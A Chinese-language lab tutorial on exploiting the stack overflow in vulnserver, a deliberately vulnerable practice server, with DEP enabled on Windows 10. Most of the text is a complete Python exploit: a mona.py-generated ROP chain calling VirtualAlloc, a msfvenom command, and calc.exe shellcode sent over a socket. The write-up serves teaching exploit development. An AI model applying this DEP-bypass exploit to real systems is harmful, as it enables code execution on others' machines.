环境

操作系统:Windows 10 x64 (运行的是32位的程序)
漏洞程序:vulnserver (国外研究员开发用来练习漏洞利用的程序)

开启DEP

选择为所有程序和服务开启DEP。

漏洞分析

vulnserver 里面作者设计了各种漏洞,我们这里只需要找一个栈溢出即可。

直接查看源码或者IDA反编译都可以,这里直接贴出栈溢出的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void Function3(char *Input) {
char Buffer2S[2000];
strcpy(Buffer2S, Input);
}

......省略

while (CSocket) {
Result = recv(Client, RecvBuf, RecvBufLen, 0);
if (Result > 0) {

......省略

} else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
char *TrunBuf = malloc(3000);
memset(TrunBuf, 0, 3000);
for (i = 5; i < RecvBufLen; i++) {
if ((char)RecvBuf[i] == '.') {
strncpy(TrunBuf, RecvBuf, 3000);
Function3(TrunBuf);
break;
}
}
memset(TrunBuf, 0, 3000);
SendResult = send( Client, "TRUN COMPLETE\n", 14, 0 );

意思是要求前5个字符是 TRUN,然后第6个字符是.,这样它就会调用Function3,将我们send过去的数据复制到缓冲区Buffer2S中,其大小是2000,所以我们填充2000+个字符就能覆盖到返回地址。

1
2
payload =  'TRUN .'
payload += 'A' * 2006

构造ROP

因为我们开启了DEP,所以需要找一系列的ROP指令来绕过它。这里可以利用 Immunity Debugger 中的 mona.py 插件来自动化生成ROP指令。

但是这里有一个小坑,我测试时发现它会生成像 LEA EBX,EAX 这种错误指令,所以我把它的代码改了一下。

修改后的代码: mona.py。 安装方法:将 mona.py 放到 Immunity Debugger 的 PyCommands 目录。

命令:!mona rop -cp nonull -m *.dll

这段ROP的作用就是调用 VirtualAlloc 开辟一段有具执行权限的区域,然后将shellcode放到这段区域内执行。具体原理可以看我的第二篇文章Windows 10 Bypass DEP (2)

然后用 msfvenom 生成 shellcode:
./msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python -a x86

利用代码

这里最终的利用代码,布局如下:
padding -> rop chain(返回地址)-> padding -> shellcode -> padding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import socket
import sys
import struct

host = '127.0.0.1'
port = 6666

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76f2eca8, # POP ECX # RETN [ucrtbase.dll] ** REBASED ** ASLR
0x7e14e2ac, # ptr to &VirtualAlloc() [IAT ConEmuHk.dll]
0x76d2fde1, # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] ** REBASED ** ASLR
0x76876802, # XCHG EAX,ESI # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x76f5d2bf, # POP EBP # RETN [ucrtbase.dll] ** REBASED ** ASLR
0x76ee9944, # & jmp esp [ucrtbase.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x76cf1998, # POP EAX # RETN [USER32.dll] ** REBASED ** ASLR
0xffffffff, # Value to negate, will become 0x00000001
0x74e06bdd, # NEG EAX # RETN [gdi32full.dll] ** REBASED ** ASLR
0x76cebb14, # XCHG EAX,EBX # RETN [USER32.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x768af47a, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xa2bf4fcd, # put delta into eax (-> put 0x00001000 into edx)
0x769a6010, # ADD EAX,5D40C033 # RETN [msvcrt.dll] ** REBASED ** ASLR
0x7626ada7, # XCHG EAX,EDX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76d5ffc9, # POP EAX # RETN [USER32.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x76d1bfe3, # NEG EAX # RETN [USER32.dll] ** REBASED ** ASLR
0x77211f4d, # XCHG EAX,ECX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76edd23b, # POP EDI # RETN [ucrtbase.dll] ** REBASED ** ASLR
0x74e4d085, # RETN (ROP NOP) [gdi32full.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x770d317c, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x7714c5ee, # PUSHAD # RETN [RPCRT4.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = b"\xda\xdb\xbe\x7a\x98\xa7\x3b\xd9\x74\x24\xf4\x5f\x29"
shellcode += b"\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc\x03\x77\x6e\x7a"
shellcode += b"\x52\xc7\x66\xf8\x9d\x38\x76\x9d\x14\xdd\x47\x9d\x43"
shellcode += b"\x95\xf7\x2d\x07\xfb\xfb\xc6\x45\xe8\x88\xab\x41\x1f"
shellcode += b"\x39\x01\xb4\x2e\xba\x3a\x84\x31\x38\x41\xd9\x91\x01"
shellcode += b"\x8a\x2c\xd3\x46\xf7\xdd\x81\x1f\x73\x73\x36\x14\xc9"
shellcode += b"\x48\xbd\x66\xdf\xc8\x22\x3e\xde\xf9\xf4\x35\xb9\xd9"
shellcode += b"\xf7\x9a\xb1\x53\xe0\xff\xfc\x2a\x9b\xcb\x8b\xac\x4d"
shellcode += b"\x02\x73\x02\xb0\xab\x86\x5a\xf4\x0b\x79\x29\x0c\x68"
shellcode += b"\x04\x2a\xcb\x13\xd2\xbf\xc8\xb3\x91\x18\x35\x42\x75"
shellcode += b"\xfe\xbe\x48\x32\x74\x98\x4c\xc5\x59\x92\x68\x4e\x5c"
shellcode += b"\x75\xf9\x14\x7b\x51\xa2\xcf\xe2\xc0\x0e\xa1\x1b\x12"
shellcode += b"\xf1\x1e\xbe\x58\x1f\x4a\xb3\x02\x75\x8d\x41\x39\x3b"
shellcode += b"\x8d\x59\x42\x6b\xe6\x68\xc9\xe4\x71\x75\x18\x41\x8d"
shellcode += b"\x3f\x01\xe3\x06\xe6\xd3\xb6\x4a\x19\x0e\xf4\x72\x9a"
shellcode += b"\xbb\x84\x80\x82\xc9\x81\xcd\x04\x21\xfb\x5e\xe1\x45"
shellcode += b"\xa8\x5f\x20\x26\x2f\xcc\xa8\x87\xca\x74\x4a\xd8"

payload = 'TRUN .'
payload += 'A' * 2006
payload += rop_chain
payload += "\x90" * 6
payload += shellcode
payload += 'C'* len(payload)


try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(payload)
s.close()

except Exception, e:
print e